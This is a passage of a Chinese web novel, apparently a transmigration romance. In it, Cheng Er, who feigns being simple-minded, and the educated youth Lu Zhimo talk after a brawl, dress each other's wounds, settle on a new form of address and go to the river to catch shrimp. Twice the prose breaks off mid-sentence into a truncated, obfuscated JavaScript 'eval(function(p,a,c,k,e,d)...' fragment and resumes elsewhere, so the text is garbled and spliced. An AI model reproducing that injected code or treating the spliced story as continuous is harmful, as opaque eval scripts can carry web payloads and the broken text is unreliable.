程尔一下还真被他问的不好意思了，有点想装死过去，不过这会儿或许是刚打完架气血上涌，程尔比平时更大胆一些，于是他回道：“你都没回头怎么知道我在看你？” 反正，就是进行了一些小学生式的辩解，程尔觉得这回好歹是他保护了陆执墨呢，又没有做错事，他也该嚣张一些。 想到这里，程尔还对着陆执墨抬起了下巴。 陆执墨似乎还有点惊讶程尔会这么回复，愣了一下才又笑起来，说：“我用余光看见了。” 什么呀…… 唉，陆执墨脾气也太好了，感觉是那种跟他找架吵也吵不起来的人…… 程尔挠了下头，也不好意思再继续了，只好正常对话，他好奇问道：“哥为什么跟他们打架？” “没有打架，”陆执墨倒是回的很随意，“有两个人因为推荐名额的事吵起来了，我是去劝架的，结果大家打上头了，才会变成那样。人太多了，我也拉不住。” 程尔点点头：“这样啊，那你下次要躲远点，你都被误伤了。” “好。”陆执墨笑容更甚，“谢谢小尔特意来救我。” “不用谢。”程尔十分受用，表情倒是没多大变化。 他想了想，又问道：“哥，推荐名额不是有你吗？你要回去了吗？” 虽然程尔知道剧情，陆执墨是不会回去的，不过，原书里好像没有具体写推荐名额的事，程尔其实有点好奇。 “没有。”陆执墨抬头看了眼天，“我跟爸妈说好了不提前申请回去。” “这样啊……”这好像是老后面的剧情了，程尔有些惊讶陆执墨会跟他说。 程尔想起为了名额大打出手的知青们，又看了看眼前这个人。 他不过才二十岁，却沉稳得像个老头子。 程尔是知道迟早会有结束的一天，可在这个世界的人们呢，身处其中的人们，包括陆执墨，应该都不知道会结束。 陆执墨都不知道，为什么能这样气定神闲？他不怕一辈子的青春都耗在这里吗？ “哥不怕走不了吗？”程尔问出了口。不是因为别的，只是单纯地好奇。 陆执墨轻笑了一下，道：“人行走在黑夜中，遇到水坑也是正常，躲过去就好。继续走着，总会看到别的路。如果没有，那也是命。” 说这么复杂，程尔都不知道自己该不该懂了，虽然，他现在在陆执墨面前，好像已经没有傻子这个标签了，从陆执墨跟他说话的语气中就能看出来。 好在，陆执墨十分体贴，并没有继续这个话题，只是在最后主动说：“小尔下次也要记得躲远一点，知道吗？就算是我，也不要冲过来，把自己弄受伤了，也不值得。” 程尔其实没有感觉出来有什么，脸上的擦伤估计不严重，他看向陆执墨说：“可是哥不会打架，我会。我要帮你的。” 虽然是任务要求吧，但这次他自己也想完成。陆执墨一直对他很好，就算养条狗也该知道报恩了，程尔觉得自己没有做错。 虽然一生平平无奇，但他好歹也是当过三好学生的人呢，品德这一块，绝对过关。 不能知恩不报啊…… 程尔脑子里还在跑火车，却不知道，另一边的陆执墨停下了脚步，没有动作。 他往前走了几步才反应过来陆执墨没跟上，程尔疑惑地转身看着陆执墨。 陆执墨却只停在原地盯着程尔，像是程尔说了什么了不得的话一样。 其实，也确实很了不得…… 陆执墨不知道程尔为什么会这样说，只是，看着程尔脸颊的擦伤，再联想到他奋不顾身冲进人群的身影，他的心不自觉慌乱了起来。 若是别的人，可能都不会乱想。 可陆执墨看的书太杂太多，他的父母和爷爷奶奶都不是古板的人，家里的藏书什么都有。 很小的时候，陆执墨就在一本外国书里读到了男人跟男人的故事。 他不愿意把小尔往这个方向上想，可小尔对他，实在，实在真挚过头…… 他不敢去想，却忽略不掉小尔总是偷看他的目光，忽略不掉小尔偷偷送他花时紧张的样子，忽略不掉小尔冲进人群看到有人拉他时愤怒的表情。 之前他根本不敢细想，怕自己想太多，小尔其实只是天真无邪，表达感情有着一种原始的真诚。 他怕是他把肮脏的揣测硬放在小尔身上。 毕竟，小尔还是个出名的傻子，怎么会有这么复杂的心思？ 可陆执墨已经知道，小尔其实不傻，他只是不喜欢跟人说话，面对熟人的时候，小尔其实很聪明的。 而且，小尔对他的态度简直越来越热烈，热烈到陆执墨已经有些招架不住。 或许，从那天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他强迫自己转移注意力，带着程尔回到了房间。 两个人互相帮忙把伤口处理了一下，程尔倒是还好，他是已经习惯被陆执墨抹药了，刚开始还不喜欢别人碰他呢，现在已经没感觉了，太多次了。 陆执墨却十分不习惯，程尔拉着他的手腕涂抹，不知道是不是太过认真，睫毛都要扎到他皮肤了。 “小尔，好了吗？”陆执墨有些难捱。 “还没有呢，很痛吗？”程尔抬头看了陆执墨一眼，他倒是有点强迫症，涂药也要涂得均匀，所以稍微慢了一点。 陆执墨轻轻摇头：“不痛，就是……算了，你涂吧……” “行。”程尔呼出一口气。 热气全都打在陆执墨的手腕上，让他的手指不自觉蜷缩。 这样静的空间，这样近的距离。 刚才路上的离谱猜想又开始在陆执墨脑海中盘桓，陆执墨盯着程尔认真时一动不动的纤长睫毛，突然冒出来一个想法。 小尔其实是很直接的人，不如他直接问问吧？ 他想，小尔是会回答的。免得他一个人在这里瞎想，也许真的不是呢？ 陆执墨忽略了自己盘点出的证据，看着程尔不经意开口问道：“小尔喜欢哥吗？” 程尔的手顿了一下，不过，他很快想起来，陆执墨好像之前也问过他这个问题，于是，他毫无负担地抬头回答道：“嗯，喜欢。” 陆执墨突然不敢看他，视线垂下，落在了手腕上。 16. 世界一：偷窥隔壁男知青的阴郁小傻子（16） 怎么能回答得这么理直气壮，就因为他直来直去惯了吗？ 太不好了，这样的话怎么能随便说出口？ 陆执墨觉得自己毕竟是程尔的半个老师，也算有教导的职责，于是，他轻咳了一声，看向程尔说：“小尔不能随便跟人说这样的话。” “什么？”程尔没有抬头，他的药快要涂好了，只剩下最后一块，他正忙着让那一小块跟之前的一样厚度呢，完全没有仔细思考，只是随口回答，“我没有啊，哥不是知道吗？我只会跟你和爷爷说话。” 听着程尔真挚的话语，陆执墨突然什么也说不出来了。 他还能说什么呢，已经不能再说更多了。 再说下去，要…… 不行，虽然他对小尔只是照顾邻居弟弟的感情，但是，好歹相处了这么久了，小尔的性格他全都知道，只是天真烂漫。 就算他没有打算回应，他也不想因为这件事让小尔伤心。 所以，暂时就这样吧，反正小尔没有说什么，他就装不知道好了，他们还能像之前一样相处。 他突然有点理解小尔了，有时候，装傻也不失为一种好的解决办法。 小尔也是出于这样的心理，才对别人懒得搭理吗？ “好了，哥。”程尔抬头，收起了药瓶，将陆执墨的手放回他的膝盖上，“你看看还有没有哪里要涂？” 陆执墨摇摇头：“没有。” 他停顿了一下，又想起了什么，突然开口：“小尔，如果让你自己选的话，你想要叫我什么？” 叫他哥是他要求的，叫小陆哥是程爷爷教他的，其实，在之前陆执墨不会想到这个问题。 但现在，他已经知道了小尔是很聪明的，那么，还是让小尔自己叫自己喜欢的吧！ 程尔将手上的东西放在了桌子上，随后看了陆执墨一眼。 其实他没有想到陆执墨会突然问这么个问题，不过，他还是认真想了想。 半晌，他捏着手腕上的银镯转了转，一边说：“我可以叫你陆执墨吗？你就比我大一两岁，我们算是同龄人了。” 陆执墨看着他，表情没有任何变化，只是开口道：“小尔怎么知道我全名的？” 程尔转了转手腕，回答：“我听知青们那么叫你。” “哦。”陆执墨点头。 程尔看向他，突然觉得陆执墨有点奇怪，他今天是怎么了？怎么怪怪的呢？ 平时的陆执墨哪会问这么多奇怪的问题，程尔在心中叹了一声，又开口问道：“行吗？” 陆执墨平静地注视着他，不点头也不摇头。 这下，程尔终于反应过来了，陆执墨应该是不愿意吧？ 也是，他们这种出身好的家庭，应该比较注重礼仪。程尔无奈，只好又换了一个，他问：“那我叫你执墨哥？” 程尔叫老家的表哥表姐们是这么叫的，名字后面加个哥或者姐。 其实，也很少有人会单叫一个哥吧，刚开始程尔还有点叫不出口呢…… 但是现在他其实已经习惯这么叫陆执墨了，没想到陆执墨会主动提起来要换个称呼。 “好。”陆执墨这次终于同意了，脸上的表情也轻松了许多。 程尔还有些新奇，原来像陆执墨这样脾气的人，不同意的话是这种表情啊？ 但凡笨点，都看不出来…… 程尔都有点想笑了。 他好像又懂了陆执墨一些，他就说嘛，怎么可能有人完全没脾气的，真成假人了…… …… 陆执墨最近变得有些奇怪，总是用一种莫名的眼神看着程尔，但是，程尔看回去的时候，他又偏过头去。 真是的，两个男的对视一下又不会死，更何况，你就是喜欢男的正宫还没回来呢，你跟我在这演什么呢？ 程尔好歹也是混迹网络的乐子人，什么猎奇的东西都看过，这完全是耽美动漫里的经典桥段好不好？ 这是干什么呢？ “执墨哥。”这一次，陆执墨躲避眼神的时候，程尔干脆叫住了他。 “怎么了小尔？”陆执墨停住，终于对上了程尔的视线。 程尔有心搞明白是怎么回事，干脆凑近了一些，盯着陆执墨看，他倒要看看陆执墨到底是怎么回事！ 一秒，两秒，三秒，陆执墨没有什么反应。 第四秒，他开始眨眼睛。 第五秒，他的眼睫垂下来。 露出那颗熟悉的小痣。 程尔盯着看了几眼，忘记继续读秒了。 这颗痣长在这里真是合适。 他回过神来，陆执墨又低下头躲避他的视线。 程尔偏不信邪，干脆弯下腰从下面凑过去看陆执墨。 陆执墨这下有些绷不住了，他按住了程尔的肩，突然出声：“小尔，要干嘛？” 程尔看了他几眼，也没有看出什么别的东西来，只好暂时收起了好奇心。 他想了想，干脆找了个事情当借口，他说：“执墨哥，昨天小胖来找我跟他们一起去河里捉虾。” 陆执墨的表情终于正常了，他似乎松了口气，问道：“那小尔去了吗？” 程尔摇了摇头：“你和爷爷都让我别跟他们玩，我听话。” “乖。”陆执墨笑了一下，手习惯性地抬起，在空中停滞了一瞬，又收了回去。 他看向程尔，笑着问道：“那小尔是很想去吗？明天下午干完活我陪你去？” “啊？”程尔有些懵，他只是随便扯了个话题，不过，也好，他点点头，“好啊！” 程尔也实在无聊，每天都是一个人在房间里看书画画，外面他也不怎么敢去。 特别是河边，总是很多人。 他其实也挺想去玩的，毕竟他小时候也跟大人们一起捉过鱼，记忆犹新。 来这里也没什么玩的，去河边捉虾玩也不错。 想到这里，他倒是由衷高兴了起来，嘴角露出一丝浅笑。 陆执墨看着他微笑，最后还是没忍住摸了摸他的头：“小尔明天拿好桶等我，我一回来就去。” “好！”程尔点头。 第二天，程尔很激动地早早等在陆执墨门口。 也是这边太过无聊，搞得程尔期待了一整天，就算捉不到虾，去河边玩玩水也是很好的。 陆执墨大老远就看到了他，背着夕阳对程尔招手。 程尔仿佛已经看到了陆执墨的招牌笑容，也用力朝他挥了挥手。 “这个时候是不是该配个 BGM？” 系统不知道从哪冒出来。 程尔在心里笑了一下：“系统，你不学习了？有任务吗？” 系统回答：“没有，陆执墨现在都没有按原剧情走，哪有任务？我学习一会儿，休息一会儿。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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程尔躲在陆执墨身后，紧跟着，他还是有些社恐，决定继续装傻子。 陆执墨见他这样，干脆伸手拉住了他的手腕，带着他走快了一些。 这个时节的河边依旧热闹，已经有许多人在河里玩水。 程尔路过第一次偷窥陆执墨洗澡的竹林，整个人都不好了，全是系统给他搞的黑历史。 好在，陆执墨并没有发现他的异样，只是找了个好下的坡，带着程尔下到了河岸下面。 这还是程尔第一次近距离接触这条河，比他在岸上看的宽许多，夕阳洒在河面上，波光粼粼的，煞是好看。 程尔第一反应是从兜里掏手机出来拍照，可惜他什么都没有摸到。 “小尔，过来，先把袖子和裤腿挽起来再下去。”陆执墨放下了手里的东西，对着他招手。 程尔点点头，学着他的样子叠裤子。 大概是他弄的太慢，陆执墨在旁边弄完之后，又蹲下来帮他弄了另一边。 他们还在做准备工作，那边却远远跑过来一群小不点。 程尔被脚步声吸引的时候，他们已经很近了，大概是沙子会有吸收声音的作用，声音传不了太远。 “傻子！”不知道谁喊了一声。 旁边的小孩赶紧出声：“嘘！说好了要叫他名字的！” 程尔站在陆执墨旁边，有些摸不着头脑。他跟陆执墨对视了一眼，陆执墨的眼神里也带着些许疑惑。 “程尔！”小胖子带着他的一群小跟班凑在了程尔身边，将他们两个人围了起来。 程尔的肌肉记忆瞬间回笼，忍不住摆了一个长拳起手式，道：“你们要干嘛？”